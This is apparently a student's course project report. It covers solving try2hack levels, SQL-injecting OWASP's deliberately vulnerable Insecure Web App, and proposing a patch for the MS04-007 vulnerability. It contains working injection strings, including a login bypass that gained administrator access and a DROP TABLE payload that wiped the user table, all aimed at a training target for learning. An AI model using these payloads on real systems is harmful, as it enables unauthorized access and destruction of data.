CKDF110 Final Project Part 1 Basic Hacking

Fall 2012

Todd Howe

The goal of this subproject is to get you acquainted with basic hacking techniques. The project consists of a simple hacking game available at http://www.try2hack.lt/en/ Visit the site and progressively advance to at least level 5. The 'Try to Hack' site consists of a number of levels, each typically asking for some form of credential which the user is expected to discover prior to advancing to the next level. Level 1: Simply view the page source to read the password, l4m3rz, in plaintext in the site's JS.

Level 2: No point in messing around with the site's obfuscated Javascript to find a password with the URL of the next page right there. 'level3-kbbe.htm' Typed it into the address bar...

Level 3: When the 3rd level page asks for a password, it's back to the source to discover it's 'fatman_'

Level 4: This level uses a flash script, 'level4.swf'. Downloading and decompiling the ActionScript (I used 'Flare' http://www.nowrap.de/flare.html) reveals a working password 'EasySWF'. That or typing in the plaintext URL takes you to the next level.

Page 1 of 5

Level 5: For this level, the site requires a binary download to unearth the password. GHex is a simple hex editor, available in the repos, and with it the URL of the next page is readily revealed.

Part 2 Web Application Vulnerability Assessment The Insecure Web App is an open source database driven J2EE web application released through the Open Web Application Security Project (OWASP). It contains a variety of vulnerabilities including SQL injection, XSS, Parameter tampering, and broken authorization and authentication, to name a few. The purpose of this subproject is to conduct vulnerability assessment of the Insecure Web App. For this subproject, you are required to answer (only) one of the following 3 challenges: #1, Penetration Test, #3, Forceful Browsing and Parameter Tampering, or #5, Permanent Cross Site Scripting. I opted for the pen testing challenge first, in part because I've seen personal Wordpress sites compromised before and am curious if there's a way to better secure them but that's been the extent of my exposure to the topic. My first thought was to start with the Firefox plugin SQL Inject Me, which promises automated SQL vulnerability testing. Nothing turned up in its test set for the 'Search' form on the main page, however the 'pass' field on the login page and the 'Password Reset' email script had a number of issues. Page 2 of 5

Since the plugin filters the whole error message down to a terse description, I proceeded by manually pasting the Tested Values into the site to examine the errors in greater detail. (TomCat server errors are Java Servlet exception reports). Copying the messages to an editor, it became clear that the Java exception lists were all the same other than for references to the generating form. For the purposes of this lab, the lines corresponding to how the server was interpreting the injections above were interesting. Here I've correlated them together:
errorgenerated:HTTP500(InternalServerError) case1:SubmittedFormState:"pass:","unnamedfield:Login" case2:SubmittedFormState:"unnamedfield:ResetPassword" Testedvalue:1'1 Unexpectedtoken:1instatement[1] 2. Testedvalue:1'ANDnon_existant_table='1 Columnnotfound:NON_EXISTANT_TABLEinstatement[Select*FromuserWHEREemail='1'AND non_existant_table='1'] 3. Testedvalue:1UNIONALLSELECT1,2,3,4,5,6,nameFROMsysObjectsWHERExtype='U' Unexpectedtoken:Uinstatement[U] 4. Testedvalue:1ANDASCII(LOWER(SUBSTRING((SELECTTOP1nameFROMsysobjectsWHERE xtype='U'),1,1)))>116 Unexpectedtoken:Uinstatement[U] 5. Testedvalue:1'AND1=(SELECTCOUNT(*)FROMtablenames); Tablenotfound:TABLENAMESinstatement[Select*FromuserWHEREemail='1'AND1=(SELECT COUNT(*)FROMtablenames] 6. Testedvalue:'ORusernameISNOTNULLORusername=' Columnnotfound:USERNAMEinstatement[Select*FromuserWHEREemail=''ORusernameISNOT NULLORusername=''] 7. Testedvalue:';DESCusers; Unexpectedtoken:DESCinstatement[DESC] 8. Testedvalue:1ANDUSER_NAME()='dbo' Unexpectedtoken:DBOinstatement[dbo] 9. Testedvalue:1'ANDnon_existant_table='1 Columnnotfound:NON_EXISTANT_TABLEinstatement[Select*FromuserWHEREemail='1'AND non_existant_table='1'] 10. Testedvalue:'ORusernameISNOTNULLORusername=' Columnnotfound:USERNAMEinstatement[Select*FromuserWHEREemail=''ORusernameISNOT NULLORusername=''] 1.

At this point, a bit of research was called for. You can have a look at some of the articles I found useful online in the endnotes[1]. Armed with a new understanding of SQL query structure and the power of the single apostrophe ' to take control of naively parsed web forms, it became a trivial exercise to gain access to the web application backend. Within the password recovery form, I entered [[email protected]'] (without the square brackets) in order to verify that, yes, unescaped apostrophes are being parsed as is. The webserver returned Unexpected end of command in statement [Select * From user WHERE email ='] Since it's now clear that we're targeting SQL's WHERE query, I tried the fairly standard [anything' OR 'x'='x] SQL entry attack, which would be interpreted by the web server as something like

Page 3 of 5

SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';

The webserver returned Login details have been sent to anything' OR 'x'='x. so clearly I was on to something. Research suggests that it wouldn't be unreasonable to guess that the SQL query, forced True by the 'x'='x' part of the query, returned the first user in the database and sent them a password reset email. On a hunch, I entered the same string into both the user and password fields of the login form, which paid immediately with administrator access! This resulted in access to sensitive internal documents and the ability to manipulate customer accounts.

In this case, it was not necessary to do any additional probing of the database to determine what fields might exist in the schema to engage in password cracking or more destructive queries capable of dropping entire tables, such as [x'; DROP TABLE user; ] which is interpreted as
Table not found: EMAIL in statement [ DROP TABLE user]

and actually worked on the first guess, with the server returning The email address x'; DROP TABLE user; -- was not found. repeating the procedure used to access the administrator account above, it was clear that we've now trashed the site's USER database: Table not found: USER in statement [Select * From user]

Page 4 of 5

Part 3: Mitigation Choose one of the vulnerabilities found in Lab 4, and propose and implement a mitigation strategy to remediate the corresponding vulnerability. For example, a vulnerability that might be a threat is the use of telnet protocol to connect to a remote server over the Internet. The solution for this threat is to prevent/block incoming/outgoing telnet traffic, by writing some IPTables rules, as follows: iptables -A INPUT -p tcp --dport telnet -j REJECT iptables -A OUTPUT -p tcp --dport telnet -j REJECT Note: it is important when you choose your mitigation techniques to make sure that they are feasible. The most promising exploit uncovered by Nessus in Lab 4 was the Kill Bill exploit, also known as Microsoft Security Bulletin MS04_007 [2], which as it happens is directed against port 25. An immediate mitigation strategy in this instance would be to simply apply the long-overdue patch referenced by Microsoft, and included in XP SP1. This would be preferable to iptables in this case since we don't want to block any services that might be in use. However given the age of the operating system in question (previously reported by nmap as Windows 2000 or XP SP0 with 95% certainty) it might make more sense at this point for the hypothetical client to upgrade to a newer version of Windows in order to take advantage of whatever Microsoft has learned about security in the intervening decade. ENDNOTES [1] The following links are a crossection of useful guides to (or insight on) SQL injection. https://www.owasp.org/index.php/Blind_SQL_Injection http://www.unixwiz.net/techtips/sql-injection.html https://en.wikipedia.org/wiki/SQL_injection http://sqlzoo.net/hack/ http://www.securiteam.com/securityreviews/5DP0N1P76E.html http://www.php.net/manual/en/security.database.sql-injection.php http://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php [2] This link provides more detail on the 'Kill Bill' vulnerability. http://www.metasploit.com/modules/exploit/windows/smb/ms04_007_killbill Page 5 of 5